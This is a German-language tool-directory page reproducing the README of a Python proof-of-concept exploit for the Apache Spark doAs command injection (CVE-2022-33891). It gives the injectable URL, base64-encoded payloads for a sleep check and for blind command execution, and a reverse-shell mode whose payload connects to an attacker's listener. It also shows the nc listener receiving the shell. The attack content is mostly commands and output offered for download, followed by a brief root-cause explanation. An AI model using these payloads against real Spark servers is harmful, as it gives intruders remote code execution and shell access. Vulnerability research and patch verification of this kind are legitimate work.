Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2022-33891 — Python-Proof-of-Concept für die Apache-Spark-Shell-Befehlsinjektion (CVE-2022-33891), mit schlafbasierter Erkennung, interaktiver Befehlsausführung und Reverse-Shell-Funktionen gegen verwundbare Spark-Oberflächen. | Kitploit
Tools/GitHubGitHub/akbartrilaksana/cve-2022-33891
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubakbartrilaksana/cve-2022-33891

cve-2022-33891

Python-Proof-of-Concept für die Apache-Spark-Shell-Befehlsinjektion (CVE-2022-33891), mit schlafbasierter Erkennung, interaktiver Befehlsausführung und Reverse-Shell-Funktionen gegen verwundbare Spark-Oberflächen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
318vor 8 MonatenNoch nicht geprüft
Teilen

CVE-2022-33891

Sicherheitslücke zur Befehlseinschleusung in der Apache Spark Shell

Ein Python-POC zur Ausnutzung der Sicherheitslücke zur Befehlseinschleusung in der Apache Spark Shell. Ich habe einige andere POCs gesehen, aber sie sahen sehr verdächtig aus. Dieser ist sauber und einfach.

Ich habe diesen Exploit/diese Sicherheitslücke nicht entdeckt. Ich wollte nur einen sicheren POC für die Community erstellen ^.^

Betroffene Versionen

Apache Spark Versionen 3.0.3 und früher, Versionen 3.1.1 bis 3.1.2 und Versionen 3.2.0 bis 3.2.1

Angreifbare Komponente

http://localhost:8080/?doAs=`[Befehlseinschleusung hier]`

Beispiel

http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... schläft für 10 Sekunden

Einrichtung

Sie benötigen eine anfällige Version von Spark, bei der eine einzelne Konfigurationsoption geändert wurde.

  • Installieren Sie die Abhängigkeiten: $ pip3 install -r requirements.txt
  • Wechseln Sie in das Verzeichnis spark/.
  • Verwenden Sie die bereitgestellte docker-compose.yml im Verzeichnis spark/ und führen Sie docker-compose up aus. Lassen Sie den Container starten.
  • Öffnen Sie ein neues Terminal und geben Sie sudo docker exec -it spark_spark_1 /bin/bash ein.
  • Geben Sie in der Bash-Sitzung des Containers Folgendes ein: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • Optional können Sie den Inhalt von spark-defaults.conf mit cat anzeigen, um sicherzustellen, dass alles korrekt ist.
  • Verlassen Sie die interaktive Bash-Shell und drücken Sie Strg-C in Ihrem docker-compose-Prozess.
  • Sobald die Container ordnungsgemäß heruntergefahren sind, führen Sie erneut docker-compose up aus.

Verwendung

usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]

CVE-2022-33891 Python POC Exploit Skript

optionale Argumente:
  -h, --help            zeige diese Hilfemeldung an und beende
  -u URL, --url URL     URL, die ausgenutzt werden soll.
  -p PORT, --port PORT  Port des Angriffsziels.
  --revshell            Reverse-Shell-Option.
  -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                        Ihre IP-Adresse des empfangenden Hosts.
  -lp LISTENINGPORT, --listeningport LISTENINGPORT
                        Ihr Port des empfangenden Hosts.
  --check               Überprüft, ob das Ziel mit einem Sleep-Test ausnutzbar ist

Beispiele

Überprüfen, ob das Ziel anfällig ist:

husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Attempting to connect to site...
[*] Performing sleep test of 10 seconds...
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] Sleep was 10 seconds! This target is probably vulnerable!

Befehle in einer Eingabeaufforderungsschleife ausführen:

husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
> sleep 5
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
> 

Eine Reverse-Shell ausführen:

husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
 nc -nvlp 1337
[!] When your listener is set up, press enter!
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`

..[im anderen Terminal]...

husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark

Weitere Informationen

Die Befehlseinschleusung tritt auf, weil Spark die Gruppenmitgliedschaft des im Parameter ?doAs übergebenen Benutzers mit einem rohen Linux-Befehl überprüft.

Die Übergabe von id als Benutzer erzeugt diesen Fehler im Traceback:

spark_1  | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1  | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1: 
spark_1  | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1  | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1

Hier hat Java entschieden, dass es am besten sei, den Befehl id an bash -c zu übergeben, um die Gruppenmitgliedschaft für einen bestimmten Benutzer zu überprüfen. Das Problem ist, dass dies auch eine Befehlseinschleusung ermöglicht.

Gepatchte Versionen parametrisieren diesen Aufruf mit einem vollständigen Pfad zum Befehl /bin/id anstelle von bash -c id.

Es ist erwähnenswert, dass während der Befehlsausführung nichts auf der Seite zurückgespiegelt wird, es handelt sich also um eine blinde OS-Injection. Ihre Befehle werden ausgeführt, aber es gibt keine Anzeige, ob sie funktioniert haben oder nicht, oder ob das ausgeführte Programm auf dem Ziel vorhanden ist. Zum Beispiel hat der Container, der mit der docker-compose.yml-Datei in diesem Repository gestartet wird, kein ping, daher funktioniert die Überprüfung auf Befehlseinschleusung über einen Pingback nicht. Aber Sie werden das nicht wissen, und fragen sich, ob es funktioniert hat oder nicht.

Der Sleep-Test ist eine sichere Sache ^.^

Referenzen

  • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
  • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
  • https://spark.apache.org/docs/2.1.0/configuration.html
  • https://github.com/W01fh4cker/cve-2022-33891 (Ich empfehle nicht, diesen POC zu verwenden)
Tool herunterladen